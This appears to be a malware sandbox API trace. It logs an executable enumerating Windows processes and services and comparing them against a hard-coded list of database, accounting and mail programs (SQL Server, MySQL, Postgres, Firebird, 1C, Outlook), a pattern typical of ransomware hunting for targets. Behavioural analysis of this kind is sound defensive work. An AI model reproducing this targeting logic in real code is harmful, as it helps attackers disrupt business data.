[0230.987] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0230.987] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.988] lstrlenW (lpString="csrss.exe") returned 9 [0230.988] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0230.988] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0230.988] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0230.989] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0230.989] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0230.989] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0230.989] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0230.989] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.990] lstrlenW (lpString="winlogon.exe") returned 12 [0230.990] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0230.990] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0230.990] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0230.990] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0230.990] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0230.990] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0230.990] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0230.990] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.992] lstrlenW (lpString="services.exe") returned 12 [0230.992] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0230.992] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0230.992] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0230.992] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0230.992] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0230.992] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0230.992] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0230.992] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.993] lstrlenW (lpString="lsass.exe") returned 9 [0230.993] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0230.993] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0230.994] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0230.994] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0230.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0230.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0230.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0230.994] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0230.995] lstrlenW (lpString="lsm.exe") returned 7 [0230.995] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0230.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0230.995] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0230.995] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0230.995] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0230.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0230.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0230.996] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.997] lstrlenW (lpString="svchost.exe") returned 11 [0230.997] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0230.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0230.997] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0230.997] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0230.997] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0230.997] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0230.997] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0230.998] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.999] lstrlenW (lpString="svchost.exe") returned 11 [0231.000] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.000] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.000] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.000] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.000] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.000] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.000] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.001] lstrlenW (lpString="svchost.exe") returned 11 [0231.001] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.001] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.001] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.002] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.002] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.002] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.002] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.002] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.003] lstrlenW (lpString="svchost.exe") returned 11 [0231.003] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.004] lstrlenW (lpString="svchost.exe") returned 11 [0231.004] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.005] lstrlenW (lpString="audiodg.exe") returned 11 [0231.005] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.006] lstrlenW (lpString="svchost.exe") returned 11 [0231.006] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0231.007] lstrlenW (lpString="userinit.exe") returned 12 [0231.008] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.009] lstrlenW (lpString="explorer.exe") returned 12 [0231.009] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.010] lstrlenW (lpString="dwm.exe") returned 7 [0231.010] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.011] lstrlenW (lpString="svchost.exe") returned 11 [0231.011] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0231.012] lstrlenW (lpString="driver.exe") returned 10 [0231.012] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.014] lstrlenW (lpString="spoolsv.exe") returned 11 [0231.014] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0231.015] lstrlenW (lpString="taskhost.exe") returned 12 [0231.015] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.016] lstrlenW (lpString="svchost.exe") returned 11 [0231.016] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0231.017] lstrlenW (lpString="dllhost.exe") returned 11 [0231.017] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0231.018] lstrlenW (lpString="reader_sl.exe") returned 13 [0231.018] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0231.019] CloseHandle (hObject=0x1c0) returned 1 [0231.019] Sleep (dwMilliseconds=0x1f4) [0231.596] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c32c0 [0231.970] EnumServicesStatusExW (in: hSCManager=0x41c32c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0231.971] GetLastError () returned 0xea [0231.971] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x41d0998 [0231.971] EnumServicesStatusExW (in: hSCManager=0x41c32c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0231.973] CloseServiceHandle (hSCObject=0x41c32c0) returned 1 [0231.974] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0231.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.974] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0231.974] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0231.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0231.974] lstrlenW (lpString="AudioSrv") returned 8 [0231.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0231.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0231.975] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0231.975] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0231.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0231.975] lstrlenW (lpString="BFE") returned 3 [0231.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0231.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0231.975] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0231.975] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0231.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0231.975] lstrlenW (lpString="CryptSvc") returned 8 [0231.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0231.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0231.976] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0231.976] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0231.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0231.976] lstrlenW (lpString="CscService") returned 10 [0231.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0231.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0231.976] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0231.976] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0231.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0231.976] lstrlenW (lpString="DcomLaunch") returned 10 [0231.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.977] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0231.977] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0231.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0231.977] lstrlenW (lpString="Dhcp") returned 4 [0231.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0231.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0231.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0231.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0231.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0231.978] lstrlenW (lpString="Dnscache") returned 8 [0231.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0231.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0231.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0231.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0231.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0231.978] lstrlenW (lpString="DPS") returned 3 [0231.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0231.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0231.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0231.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0231.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0231.978] lstrlenW (lpString="eventlog") returned 8 [0231.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0231.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0231.979] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0231.979] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0231.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0231.979] lstrlenW (lpString="EventSystem") returned 11 [0231.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0231.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0231.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0231.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0231.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0231.980] lstrlenW (lpString="gpsvc") returned 5 [0231.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0231.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0231.980] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0231.980] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0231.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0231.981] lstrlenW (lpString="LanmanWorkstation") returned 17 [0231.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.981] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0231.981] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0231.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0231.981] lstrlenW (lpString="lmhosts") returned 7 [0231.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0231.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0231.981] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0231.981] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0231.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0231.982] lstrlenW (lpString="MMCSS") returned 5 [0231.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0231.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0231.982] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0231.982] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0231.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0231.982] lstrlenW (lpString="MpsSvc") returned 6 [0231.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0231.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0231.982] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0231.982] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0231.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0231.983] lstrlenW (lpString="NlaSvc") returned 6 [0231.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0231.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0231.983] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0231.983] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0231.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0231.983] lstrlenW (lpString="nsi") returned 3 [0231.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0231.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0231.983] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0231.983] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0231.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0231.984] lstrlenW (lpString="PcaSvc") returned 6 [0231.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0231.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0231.984] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0231.984] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0231.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0231.984] lstrlenW (lpString="PlugPlay") returned 8 [0231.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0231.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0231.984] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0231.984] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0231.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0231.985] lstrlenW (lpString="Power") returned 5 [0231.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0231.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0231.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0231.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0231.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0231.985] lstrlenW (lpString="ProfSvc") returned 7 [0231.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0231.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0231.985] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0231.985] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0231.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0231.986] lstrlenW (lpString="RpcEptMapper") returned 12 [0231.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.986] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0231.986] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0231.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0231.986] lstrlenW (lpString="RpcSs") returned 5 [0231.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0231.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0231.986] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0231.987] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0231.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0231.987] lstrlenW (lpString="SamSs") returned 5 [0231.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0231.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0231.987] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0231.987] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0231.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0231.987] lstrlenW (lpString="Schedule") returned 8 [0231.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0231.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0231.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0231.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0231.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0231.988] lstrlenW (lpString="SENS") returned 4 [0231.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0231.988] 